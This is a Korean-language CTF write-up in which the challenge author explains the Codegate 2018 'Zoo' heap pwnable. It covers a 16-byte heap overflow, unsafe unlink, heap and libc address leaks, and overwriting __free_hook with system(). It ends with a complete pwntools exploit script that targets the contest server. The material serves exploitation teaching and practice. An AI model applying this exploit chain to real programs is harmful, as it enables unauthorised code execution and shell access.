Codegate2018 zoo

By choirish | February 17, 2018

Codegate2018 Zoo 출제자 WriteUp

안녕하세요, choirish 입니다 :)
이번 예선에 제가 출제한 문제는 Zoo 입니다.


  • Challenge Name : Zoo
  • Category : Pwnable
  • Vulnerability : Unsafe Unlink
  • Mitigation : Full RELRO / CANARY / PIE / ASLR

Pwnable에 너무 손을 놓고 있었던 것 같아 양심에 찔려 “Pwnable 문제를 내보자” 하였고..
다들 heap! heap! 하는데 나만 안해본 것 같아서 Unlink 개념을 이용한 문제를 내게 되었습니다!

Heap Exploit의 매뉴얼이라고 할 수 있는, Shellphish 팀의 how2heap을 정독하신 분이라면 문제를 이해하고 익스플로잇하는 데 문제가 없었을 거라고 생각합니다 :)


how2heap - House of Series


물론, 구조체가 많고 바이너리가 strip되어 있어서.. 분석하는 데 시간이 좀 걸립니다! ㅎㅎ;


이번 롸업에서는 바이너리 분석이나 문제 풀이 시 필요한 개념을 설명하기 보다,
취약점이 어디에서 발생하는지, 그 취약점을 어떻게 컨트롤하는지에 중점을 맞춰 얘기를 풀어보도록 하겠습니다.


0. Intro

  • 프로그램 실행 시 가장 먼저 Zoo를 운영할 Owner의 이름(OWNER)을 입력한다.
-----------** Tutorial **-----------
[+] Now, you will be the owner of the zoo.
[+] Please enter your name.
------------------------------------
>> OWNER    
------------------------------------
[+] Hi, OWNER :)
[+] Lets open your own zoo !!
------------------------------------


  • Owner의 입력하고 나면, 7가지 메뉴 중 하나를 선택할 수 있다.
  • 7번 메뉴는 프로그램을 종료하는 기능이니 설명을 생략한다.
-----------* My Own Zoo *-----------
[1] Adopt an animal
[2] Feed an animal
[3] Clean an amimal house
[4] Take a walk with an animal
[5] Take an animal to the hospital
[6] List animal info
[7] Close the zoo
------------------------------------


1. Adopt an animal

  • Alpaca/RaccoonDog/Lion 중 하나를 선택하고 이름(alpa)을 정해주면 입양 끝!
  • 최대 5마리의 동물을 키울 수 있다.
-----------*   Adopt    *-----------
[+] Choose the animal to adopt.
------------------------------------
[1] Alpaca
[2] RaccoonDog
[3] Lion
>> 1
-----------*------------*-----------
[+] Please name the animal.
>> alpa     
------------------------------------
[+] Your animal's name is alpa
[+] You adopted a cute Alpaca!
------------------------------------


2. Feed an animal

  • 동물의 이름을 입력한 후 해당 동물에게 먹이를 1개 줄 수 있다.
  • 이 때 “먹이” 자체가 구조체로서, 먹이를 먹일 때마다 0x80 byte 크기의 “food” 구조체를 malloc한다.
  • malloc(food)
-----------*    Feed    *-----------
[+] Which animal will you feed?
>> alpa
------------------------------------
[+] Your animal alpa ate a food!
------------------------------------


※ 주의할 점 1

  • 동물이 먹은 food가 5개 이상이되면, dung이 생긴다!ㅋㅋㅋㅋㅋ
  • food를 먹은 직후, 동물이 먹은 food의 총 개수가 (2n+5)개 일 때마다 dung이 생성된다ㅋㅋㅋ (n>=0)
  • dung 또한 0x80 byte 크기의 구조체이다.
  • malloc(dung)

※ 주의할 점 2

  • dung이 5개를 넘게 될 경우 동물은 아픈 상태가 된다.
  • animal->ill = true
  • (여담) 동물이 dung을 많이 눴는데 청소를 안해줘서 청결상태가 나빠지니까 병에 걸린다고 컨셉을 잡은 건데…ㅎ dung이 많아지면 왜 아프냐고 의문을 갖는 분들이 있었다… 변비인거냐고 물어본 사람도 있었다고 한다

※ 주의할 점 3

  • 동물이 아프면 병원에 갈 수 있게 되는데, 경우에 따라(5번 메뉴 참고) 약을 처방받는다.
  • 약을 처방받은 상태에서 2번 Feed 메뉴를 선택하면 food 대신 medicine만 먹일 수 있다.


  • medicine을 먹일 경우에는 medicine의 이름과, 설명(복용법/주의사항)을 적을 수 있다.
  • 참 수상해보인다 \^-^
-----------*    Feed    *-----------
[+] Which animal will you feed?
>> alpa
------------------------------------
[+] Your animal alpa is ill now. :(
[+] You can only feed medicines to your animal.
[+] Please tell me the name of this medicine
>> blahblah
[+] Please tell me a description of this medicine
>> blahblah
------------------------------------


3. Clean an amimal house

  • 동물의 집을 청소하면 dung이 하나 사라진다.
  • free(dung)
-----------* Clean Dung *-----------
[+] Which animal's dung will you clean?
>> alpa
------------------------------------
[+] Good Job! You finished cleaning alpa's dung :)
------------------------------------


4. Take a walk with an animal

  • 동물과 산책을 하면 food가 하나 사라진다. 즉! food가 소화되는 것! :D
  • free(food)
-----------*    Walk    *-----------
[+] Which animal do you want to take a walk with?
>> alpa
------------------------------------
[+] Good Job! alpa finished the walk :)
------------------------------------


  • 하나 더! 산책을 할 때마다 동물의 호감도가 1씩 증가한다. (animal->likes += 1)
  • [Hidden] 호감도>=15 이면 산책 도중 동물에게 메시지를 전할 수 있다!
  • 매우 수상하다 ㅋㅋㅋ
  • 바이너리 분석을 해보면… 이 Msg가 쓰이는 곳이 특정 Medicine의 description 버퍼이다.
  • 즉, Medicine의 description을 수정할 수 있는 기능을 Msg니 뭐시니 해서 숨겨둔 것! ‘ㅅ’a
-----------*    Walk    *-----------
[+] Which animal do you want to take a walk with?
>> alpa
------------------------------------
[+] Your animal is very happy now :)
[+] You can give a msg to your animal.
>> blahblahblahblah
[+] Good Job! alpa finished the walk :)
------------------------------------


5. Take an animal to the hospital

  • 동물이 아픈 상태(dung>=5 && animal->ill == true)일 때만 병원에 갈수 잇다.
  • 병원에 가면 우선 dung 5개를 없애 준다.
  • (free(dung))*5
  • dung을 free해서 dung<5 가 되면 동물은 완전히 치료된다!
  • animal->ill = false
-----------*  Hospital  *-----------
[+] What animal will you take to the hospital?
>> alpa
------------------------------------
[+] Your animal is now healthy!
------------------------------------


  • dung을 5개나 없앴는데도 dung>=5 이면 약을 처방받는다.
  • animal->get_prescription = true
-----------*  Hospital  *-----------
[+] What animal will you take to the hospital?
>> alpa
------------------------------------
[+] Your animal alpa was prescribed medicine! :D
------------------------------------


6. List animal info

  • 동물의 정보 및 상태를 확인할 수 있다.
-----------*  Ani Info  *-----------
[+] Which animal info do you want to know?
>> alpa
------------------------------------
[-] Name : alpa
[-] Species : Alpaca
[-] Likes : 15
[-] Get Food : 5
[-] Get Dung : 16
[-] Your animal is ill :(
------------------------------------

문제 풀이 Points

1. Heap address Leak!

  • 동물 구조체에서 동물의 이름(20byte) 바로 다음에 food 청크 포인터가 있다.
  • 그래서 동물의 이름을 20글자로 가득 채우면, 동물 이름이 출력될 때 Heap 영역의 주소가 끝에 붙어 노출된다.
    • 동물1을 입양하고, 이름을 20글자(AAAAAAAAAAAAAAAAAAAA)로 지정한 후 먹이를 먹이면, “동물1@$%#이 먹이를 먹었습니다”라는 메시지를 출력할 때 이름에 주소값이 붙어 출력된다 ‘ㅅ’/


2. Heap Overflow!

  • 취약점을 트리거하기 위한 동물2를 입양한다.
  • 동물이 아프면 병원에 가서 처방을 받고, food 대신 medicine(chunk1)을 먹일 수 있다.
  • medicine을 먹일 경우 medicine의 이름과 설명(description)을 입력받는다.
  • 이 때 description의 버퍼 크기는 104byte인데, 120byte를 입력받아 overflow가 발생한다.
    • 16byte만큼 overflow되므로, 다음 청크(chunk2)의 헤더(previous size / size) 값을 조작할 수 있다.
    • chunk2의 헤더를 조작하여 chunk1이 이미 free된 것으로 속이고, chunk2를 free하면 chunk1의 영역과 합쳐지면서 unsafe unlink가 발생한다!
  • chunk2를 free하기 이전에, chunk1의 데이터 값에 fack chunk header를 만들어 두어야 free 과정에서의 검사(check routine)을 우회할 수 있다.
  • chunk2의 header와 fake chunk header를 어떤 값으로 조작해야 하는지는 아래의 링크에 자세히 설명되어 있다.


how2heap - unsafe unlink


3. Arbitrary address Arbitrary write!

  • 동물2의 구조체는 동물2가 먹은 먹이(food/medicine) 청크를 가리키는 포인터 배열을 갖고 있다.
  • check routine을 우회하는 과정에서 chunk1(medicine)을 가리키는 포인터의 값이, 그 포인터 주소가 적혀 있는 영역의 주소값으로 바뀐다.
    • 즉, unsafe unlink 이후에 chunk1의 데이터를 수정하려고 하면, chunk1의 버퍼 포인터가 동물2 구조체 내의 포인터 배열 영역의 주소를 가리키고 있으므로 해당 영역에 값을 쓰면 동물2 구조체 내 데이터를 조작할 수 있다.
  • 그래서, description을 수정하는 행동을 여러번 반복하면서 원하는 위치에 원하는 값을 쓸 수 있게 된다.
  • 단, description을 수정하기 위해 4번 Walk 메뉴를 호출할 때마다 먹이 청크가 하나씩 free되므로 이를 감안하여, 프로그램이 뻑나지 않게 값을 잘 조절해야 한다 :)


4. Libc address Leak!

  • exploit을 위해 system()의 주소를 알아내려면 libc 주소를 알아야한다.
  • free된 heap 영역의 헤더(?)에는 libc_arena 주소가 담겨 있으므로 그 값을 읽어오도록 하자!
  • unlink 이후, chunk1의 데이터를 수정함으로써 동물2의 구조체 영역에 120byte 씩 입력할 수 있게 되었다.
  • 그리하여, 동물2 구조체 내의 species 값도 변조할 수 있다.
  • species 값을 libc_arena 주소가 적힌 주소의 값으로 변조한 뒤 6번 List 메뉴를 통해 species를 출력하면 libc 주소를 릭할 수 있다!


5. Overwrite __free_hook()

  • libc 주소를 알아냈으므로, 오프셋 계산을 통해서 free_hook()과 system() 주소를 알아낸다.
  • 임의 위치 임의 쓰기를 통해 free_hook()의 값에 system() 주소를 쓰고 쉘을 획득한다! ‘ㅅ’/

  • 문제 풀이에 필요한 핵심 포인트들만 짚었는데, 실제 익스플로잇을 하기위해서는 해당 작업을 하기 위해 food와 dung을 어떻게 heap에 배열할 지 잘 고민해야 합니다.
  • 프로그램 분석을 통해 익스플로잇에 필요한 정보들을 찾고, 포인터 주소를 컨트롤하는 기쁨을 직접 누려보시길 바랍니다 X)

Exploit.py

메뉴 챌린지는… 익스플로잇 짤 때 각 메뉴를 함수화해야 한다던데…
저는 그냥 정직하게 send/recv를 풀어 써서, 의도치않게 매우 긴 익스플로잇이 되었습니다 ㅎㅎ;

(여담) 원래, animal이 아닌 pet을 컨셉으로 만들었어서… 변수명과 주석이 “pet”으로 되어있다는 것을 참고하시길!

from pwn import *

# s = remote('0.0.0.0',10000)
s = remote('zoo.codegate.kr',7788)

owner_name = "/bin/sh"
pet1_name ="A"*20 # AAAAAAAAAAAAAAAAAAAA
pet2_name ="B"
pet3_name ="C"

dummy1 = "\x00"*96
dummy2 = "\x00"*64
psize1 = "\x80\x00\x00\x00\x00\x00\x00\x00"
size1 = "\x90\x00\x00\x00\x00\x00\x00\x00"

# set owner's name
s.recvuntil(">> ")
s.send(owner_name+ "\n")
s.recvuntil(">> ")

# pet A : adopt -> feed -> list
s.send("1\n") # adopt
s.recvuntil(">> ")
s.send("1\n") # select a pet
s.recvuntil(">> ")
s.send(pet1_name+"\n") # set pet name
s.recvuntil(">> ")
s.send("2\n") # feed
s.recvuntil(">> ")
s.send(pet1_name+"\n") # pet A
s.recvuntil("AAAAAAAAAAAAAAAAAAAA")

leaked = s.recvuntil(" ")[:-1]
leaked_addr = u64(leaked.ljust(8,"\x00")) # heap base + 0x8b0 + 0x10(header)
leaked_addr_p64 = p64(leaked_addr)
log.info("leaked addr : " + hex(leaked_addr))

heap_base_addr = leaked_addr - 0x8c0
log.info("heap base addr : " + hex(heap_base_addr))

binsh = p64(heap_base_addr + 0x10)
log.info("owner chunk addr : " + hex(u64(binsh)))

seventhM = heap_base_addr + 0x200 + 0x18 + 0x30 # pet_ate[6] (7th)
fd1 = p64(seventhM - 0x18)
bk1 = p64(seventhM - 0x10)
log.info("fd1 : " + hex(u64(fd1)))
log.info("bk1 : " + hex(u64(bk1)))

food_p1 = p64(leaked_addr + 0x90)
food_p2 = p64(leaked_addr + 0x120)
food_p3 = p64(leaked_addr + 0x1b0)
food_p4 = p64(leaked_addr + 0x240)
food_p5 = p64(leaked_addr + 0x2d0)

binsh_desc1 = p64(heap_base_addr+0x200)
binsh_desc2 = p64(heap_base_addr+0x3b0)
binsh_desc3 = p64(heap_base_addr+0x560)
binsh_desc4 = p64(heap_base_addr+0x710)
binsh_desc5 = "\xb1\x01\x00\x00\x00\x00\x00\x00"

fake_species = p64(leaked_addr + 0x6d0)
log.info("fake_species : " + hex(u64(fake_species)))

# pet B : adopt -> feed*5 -> (walk/feed)*15
s.recvuntil(">> ")
s.send("1\n") # adopt
s.recvuntil(">> ")
s.send("2\n") # select a pet
s.recvuntil(">> ")
s.send(pet2_name+"\n") # set pet name
s.recvuntil(">> ")

for x in range(5):
    s.send("2\n") # feed
    s.recvuntil(">> ")
    s.send(pet2_name+"\n") # pet B
    s.recvuntil(">> ")

for x in range(15):
    s.send("4\n") # walk
    s.recvuntil(">> ")
    s.send(pet2_name+"\n") # pet B
    s.recvuntil(">> ")
    s.send("2\n") # feed
    s.recvuntil(">> ")
    s.send(pet2_name+"\n") # pet B
    s.recvuntil(">> ")

# list pet B's info (just check)
s.send("6\n") # list
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")

# pet C : adopt -> feed*5 -> (walk/feed)*7 -> (clean dung)*8
s.send("1\n") # adopt
s.recvuntil(">> ")
s.send("3\n") # select a pet
s.recvuntil(">> ")
s.send(pet3_name+"\n") # set pet name
s.recvuntil(">> ")

for x in range(5):
    s.send("2\n") # feed
    s.recvuntil(">> ")
    s.send(pet3_name+"\n") # pet C
    s.recvuntil(">> ")

for x in range(7):
    s.send("4\n") # walk
    s.recvuntil(">> ")
    s.send(pet3_name+"\n") # pet C
    s.recvuntil(">> ")
    s.send("2\n") # feed
    s.recvuntil(">> ")
    s.send(pet3_name+"\n") # pet C
    s.recvuntil(">> ")

for x in range(8):
    s.send("3\n") # clean dung
    s.recvuntil(">> ")
    s.send(pet3_name+"\n") # pet C
    s.recvuntil(">> ")

# list pet C's info (just check)
s.send("6\n") # list
s.recvuntil(">> ")
s.send(pet3_name+"\n") # pet C
s.recvuntil(">> ")

# pet B : go hospital -> (clean dung)*2 -> feed medicine*7
s.send("5\n") # hospital
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")

for x in range(2):
    s.send("3\n") # clean dung
    s.recvuntil(">> ")
    s.send(pet2_name+"\n") # pet B
    s.recvuntil(">> ")

for x in range(6):
    s.send("2\n") # feed medicine
    s.recvuntil(">> ")
    s.send(pet2_name+"\n") # pet B
    s.recvuntil(">> ")
    s.send("AAAAAAAA") # medicine name
    s.recvuntil(">> ")
    s.send("\n") # description (anything in here)
    s.recvuntil(">> ")

s.send("2\n") # feed medicine
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")
s.send(fd1) # medicine name *** fd *** # except "\n"
s.recvuntil(">> ")
s.send(bk1 + dummy1 + psize1 + size1) # description to overflow next dung's size
s.recvuntil(">> ")

# pet B : clean dung(*** unlink ***)
s.send("3\n") # clean dung
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")

# raw_input()

# pet B : walk (control species) -> list (leak libc arena)
s.send("4\n") # first walk
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")
s.send(fd1 + dummy2 + "\x00"*8 + food_p2 + food_p3 + food_p4 + food_p5 + fake_species) # overwrite species
s.recvuntil(">> ")

s.send("6\n") # list
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil("Species : ")

leaked2 = s.recvuntil("\n")[:-1]
arena_addr = u64(leaked2.ljust(8,"\x00")) # libc arena addr

log.info("leaked arena addr : " + hex(arena_addr))

libc_addr = arena_addr - 0x3c4b78
free_hook = p64(libc_addr + 0x3c67a8 -0x18) # -0x18 is important
system = p64(libc_addr + 0x45390)

log.info("libc base addr : " + hex(libc_addr))
log.info("free_hook addr : " + hex(u64(free_hook)))
log.info("system addr : " + hex(u64(system)))

s.recvuntil(">> ")

# pet B : walk (edit pointer to libc-0x18)
s.send("4\n") # second walk
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")
s.send(free_hook + dummy2 + "\x00"*8 + "\x00"*8 + food_p3 + binsh + food_p5 + fake_species) # overwrite species
s.recvuntil(">> ")
s.send(binsh_desc1 + binsh_desc2 + binsh_desc3 + binsh_desc4 + binsh_desc5 + "\x01\x00\x00\x00\x41\x41\x41\x41" + "\x41"*16 + leaked_addr_p64 + "\x00"*48)
s.recvuntil(">> ")

# raw_input()

# pet B : walk (write system in free_hook)
s.send("4\n") # third walk
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B
s.recvuntil(">> ")
s.send(system + dummy2 + "\n") # overwrite to libc_addr
s.recvuntil(">> ")
s.send(binsh_desc1 + binsh_desc2 + binsh_desc3 + binsh_desc4 + binsh_desc5 + "\x01\x00\x00\x00\x41\x41\x41\x41" + "\x41"*16 + leaked_addr_p64 + "\x00"*48)
s.recvuntil(">> ")

# pet B : walk - free /bin/sh XD
s.send("4\n") # forth walk
s.recvuntil(">> ")
s.send(pet2_name+"\n") # pet B

s.interactive()

문제 풀어주신 모든 분들, 감사합니다! :)

comments powered by Disqus